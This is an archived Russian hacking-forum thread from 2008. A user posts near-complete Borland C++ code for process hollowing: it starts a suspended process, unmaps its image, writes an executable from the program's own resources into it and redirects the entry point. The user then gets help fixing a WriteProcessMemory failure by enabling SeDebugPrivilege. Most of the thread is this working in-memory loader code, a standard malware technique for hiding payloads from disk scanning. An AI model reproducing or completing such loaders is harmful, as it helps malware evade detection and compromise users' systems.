Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
[BC++] Запуск .exe из ресурсов |

19.12.2008, 13:22
|
|
Новичок
Регистрация: 30.11.2008
Сообщений: 3
Провел на форуме: 15414
Репутация:
0
|
|
[BC++] Запуск .exe из ресурсов
Доброе время суток!
- Пишу программу на 'Borland C++ Builder 6.0 SP4';
- Задача: Запустить программу 1.exe из ресурсов моей программу main.exe не извлекая её на диск.
- То есть, необходимо запустить программу main.exe, затем извлечь из ресурсов 1.exe заменяя память другого процесса, чтобы запустилась программа 1.exe;
- Данную схему вроде частично реализовал(Без переноса таблицы импорта и релоков).
# TRFR.cpp:
Код:
#include "TRFR.h"
#include "Main.h"
//---------------------------------------------------------------------------
bool (*pNtdllFunc)(HANDLE, LPVOID);
//---------------------------------------------------------------------------
TRFR::TRFR()
{
// ----
}
//---------------------------------------------------------------------------
TRFR::~TRFR()
{
// ----
}
//---------------------------------------------------------------------------
bool __fastcall TRFR::ZwUnmapViewOfSection(HANDLE ProcessHandle, LPVOID BaseAddress)
{
bool Result = false;
// -----
try
{
HMODULE hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll != NULL)
{
(FARPROC &)pNtdllFunc = GetProcAddress(hNtdll, "ZwUnmapViewOfSection");
pNtdllFunc(ProcessHandle, BaseAddress);
FreeLibrary(hNtdll);
Result = true;
}
}
catch(...) {}
// ----
return Result;
}
//---------------------------------------------------------------------------
ULONG __fastcall TRFR::Protect(ULONG characteristics)
{
const ULONG mapping[8] = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE};
return mapping[characteristics >> 29];
}
//---------------------------------------------------------------------------
bool __fastcall TRFR::GetMemoryToSection(HANDLE hProcess, LPVOID Mapping, LPVOID pRes, USHORT NumberOfSections, PIMAGE_SECTION_HEADER pSection)
{
bool Result = true;
// ----
for (USHORT i = 0; i < NumberOfSections; i++)
{
Result = WriteProcessMemory(hProcess,
(LPVOID)(DWORD(Mapping) + pSection[i].VirtualAddress),
(LPCVOID)(DWORD(pRes) + pSection[i].PointerToRawData),
pSection[i].SizeOfRawData, NULL);
// ----
if(!Result) break;
}
// ----
return Result;
}
//---------------------------------------------------------------------------
DWORD __fastcall TRFR::RunFromResurs(LPTSTR ComLine, LPCTSTR ResName, LPCTSTR ResType)
{
bool Result = true;
DWORD pPID = 0;
// ----
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(STARTUPINFO);
// ----
PIMAGE_DOS_HEADER pDos = NULL;
PIMAGE_NT_HEADERS pNt = NULL;
PIMAGE_FILE_HEADER pFile = NULL;
PIMAGE_OPTIONAL_HEADER pOptional = NULL;
PIMAGE_SECTION_HEADER pSection = NULL;
// ----
LPVOID x = NULL, pRes = NULL, Mapping = NULL;
HANDLE hProcess = NULL;
HMODULE hInst = GetModuleHandle(NULL);
SIZE_T bsize = 0;
// ----
pRes = LockResource(LoadResource(hInst, FindResource(hInst, ResName, ResType)));
if(pRes != NULL)
{
pDos = PIMAGE_DOS_HEADER(pRes);
if (pDos->e_magic == IMAGE_DOS_SIGNATURE)
{
pNt = PIMAGE_NT_HEADERS(PCHAR(pRes) + pDos->e_lfanew);
if (pNt->Signature == IMAGE_NT_SIGNATURE)
{
pFile = &pNt->FileHeader;
pOptional = &pNt->OptionalHeader;
pSection = IMAGE_FIRST_SECTION(pNt);
// ----
Result = CreateProcess(NULL, ComLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if(Result)
{
FMain->WLog("CreateProcess()");
hProcess = pi.hProcess;
pPID = pi.dwProcessId;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
// ----
Result = GetThreadContext(pi.hThread, &context);
if(Result)
{
FMain->WLog("GetThreadContext()");
Result = ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &x, sizeof(x), &bsize);
if (Result)
{
FMain->WLog("ReadProcessMemory()");
Result = ZwUnmapViewOfSection(pi.hProcess, x);
if(Result)
{
FMain->WLog("ZwUnmapViewOfSection()");
Mapping = VirtualAllocEx(pi.hProcess, (LPVOID)pOptional->ImageBase, pOptional->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(Mapping != NULL)
{
FMain->WLog("VirtualAllocEx()");
//DWORD previousProtection = 0;
//Result = VirtualProtectEx(pi.hProcess, Mapping, pOptional->SizeOfHeaders, PAGE_EXECUTE_READWRITE, &previousProtection);
Result = WriteProcessMemory(pi.hProcess, Mapping, (LPCVOID)pRes, pOptional->SizeOfHeaders, &bsize);
if(Result)
{
FMain->WLog("WriteProcessMemory()");
Result = GetMemoryToSection(pi.hProcess, Mapping, pRes, pFile->NumberOfSections, pSection);
if(Result)
{
FMain->WLog("GetMemoryToSection()");
Result = WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), &Mapping, sizeof(Mapping), 0);
if(Result)
{
context.Eax = (ULONG)Mapping + pOptional->AddressOfEntryPoint;
// ----
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
}
}
}
else FMain->WLog("[WPM1] GetLastError = '" + (String)GetLastError() + "'");
}
else Result = false;
}
}
}
// ----
if(!Result && hProcess != NULL) TerminateProcess(hProcess, 0);
// ----
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
}
}
// -----
FreeResource(pRes);
// ----
return (Result) ? pPID : 0;
}
//---------------------------------------------------------------------------
# TRFR.h:
Код:
#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>
//---------------------------------------------------------------------------
class TRFR
{
private:
bool __fastcall ZwUnmapViewOfSection(HANDLE ProcessHandle, LPVOID BaseAddress);
ULONG __fastcall Protect(ULONG characteristics);
bool __fastcall GetMemoryToSection(HANDLE hProcess, LPVOID Mapping, LPVOID pRes, USHORT NumberOfSections, PIMAGE_SECTION_HEADER pSection);
public:
TRFR();
~TRFR();
DWORD __fastcall RunFromResurs(LPTSTR AppName, LPCTSTR ResName, LPCTSTR ResType);
};
//---------------------------------------------------------------------------
- Проблема в том, что если программу компилировать в режиме 'Debug', то всё нормально, запускается и выполняет свои функции, если скомпилировать в режиме 'Release', то на строчке 128:
Код:
Result = WriteProcessMemory(pi.hProcess, Mapping, (LPCVOID)pRes, pOptional->SizeOfHeaders, &bsize);
- GetLastError() выдаёт ошибку:
ERROR_PARTIAL_COPY
299
0x12B
- Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
- Вроде использую VirtualProtectEx(), вообщем что-то не могу сам допереть...
# Добавлено: У Borland есть удобный класс для извлечения из ресурсов 'TResourceStream', но он мне не очень нравится. (Это так, вода...)
P.S. -> Убедительно прошу, не нужно мне советовать следующее: А чем плох приём извлечения программы на диск с последующим запуском...
- Задача конкретно поставлена. (Файл не должен извлекаться из ресурсов)
Последний раз редактировалось MuForum; 19.12.2008 в 14:21..
|
|
|

19.12.2008, 14:13
|
|
Участник форума
Регистрация: 03.01.2008
Сообщений: 156
Провел на форуме: 414311
Репутация:
110
|
|
Не помню, имеет ли процесс создаваемый с атрибутами безопасности по умолчанию права PROCESS_VM_WRITE ... Судя по всему прав для записи не хватает. Нда и у мну начали появлятся смутные подозрения, что атрибуты безопасности по умолчанию для релиза и дебага разные используются ???
Попробуй вручную задать нужные права. Если нет, будем дальше смотреть )).
|
|
|

19.12.2008, 14:21
|
|
Новичок
Регистрация: 30.11.2008
Сообщений: 3
Провел на форуме: 15414
Репутация:
0
|
|
Сообщение от izlesa
Не помню, имеет ли процесс создаваемый с атрибутами безопасности по умолчанию права PROCESS_VM_WRITE ... Судя по всему прав для записи не хватает. Нда и у мну начали появлятся смутные подозрения, что атрибуты безопасности по умолчанию для релиза и дебага разные используются ???
Попробуй вручную задать нужные права. Если нет, будем дальше смотреть )).
- Мои тестирования приводят к тому, что правила безопастности для режимов Debug и Release разные.
- Сейчас посмотрю в инете, покуралесю и отпишусь.
# Добавлено: Что-то я не могу понять, как задать атрибут PROCESS_VM_WRITE через функцию CreateProcess(). (Через OpenProcess Нашел, а вот с Create что-то не могу)
- Метод научного тыка тоже не помог.
- На MSDN касательно структуры: SECURITY_ATTRIBUTES практически ничего не сказано)
Последний раз редактировалось MuForum; 19.12.2008 в 14:43..
|
|
|

19.12.2008, 16:58
|
|
Новичок
Регистрация: 30.11.2008
Сообщений: 3
Провел на форуме: 15414
Репутация:
0
|
|
Код:
void TFMain::EnableDebugPriv(void)
{
String Text = "";
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
// enable the SeDebugPrivilege;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
Text = "OpenProcessToken() failed, Error = %d SeDebugPrivilege is not available. " + (String)GetLastError();
//wprintf( L"OpenProcessToken() failed, Error = %d SeDebugPrivilege is not available.\n", GetLastError());
WLog(Text);
return;
}
// ----
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
{
Text = "LookupPrivilegeValue() failed, Error = %d SeDebugPrivilege is not available. " + (String)GetLastError();
//wprintf( L"LookupPrivilegeValue() failed, Error = %d SeDebugPrivilege is not available.\n", GetLastError());
WLog(Text);
CloseHandle(hToken);
return;
}
// ----
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// ----
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
Text = "AdjustTokenPrivileges() failed, Error = %d SeDebugPrivilege is not available. " + (String)GetLastError();
//wprintf( L"AdjustTokenPrivileges() failed, Error = %d SeDebugPrivilege is not available.\n", GetLastError());
WLog(Text);
}
// ----
CloseHandle(hToken);
WLog("End function...");
}
- Использую эту функцию.
|
|
|

19.12.2008, 21:11
|
|
Участник форума
Регистрация: 03.01.2008
Сообщений: 156
Провел на форуме: 414311
Репутация:
110
|
|
Код:
http://social.msdn.microsoft.com/forums/en-US/windowssecurity/thread/755d47b7-ab7a-42c5-bbaa-e14793b2c4d4/
Processes with the debug privilege will be able to bypass the DACL.
Also, the parent of your process will have that right too.
Наверно в этом дело в дебаге и релизе )).
Вот про права для процесса
http://msdn.microsoft.com/en-us/library/ms684880.aspx
В кратце, можно задать используя специальную функцию для создания процесса, или заполнить секьюрити дескриптор, ктр как раз таки находится в структуре секьюрити аттрибутес. Он не прозрачен и управляется через спец функции
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
запуск .exe под linux
|
null_access |
*nix |
4 |
01.06.2006 14:29 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|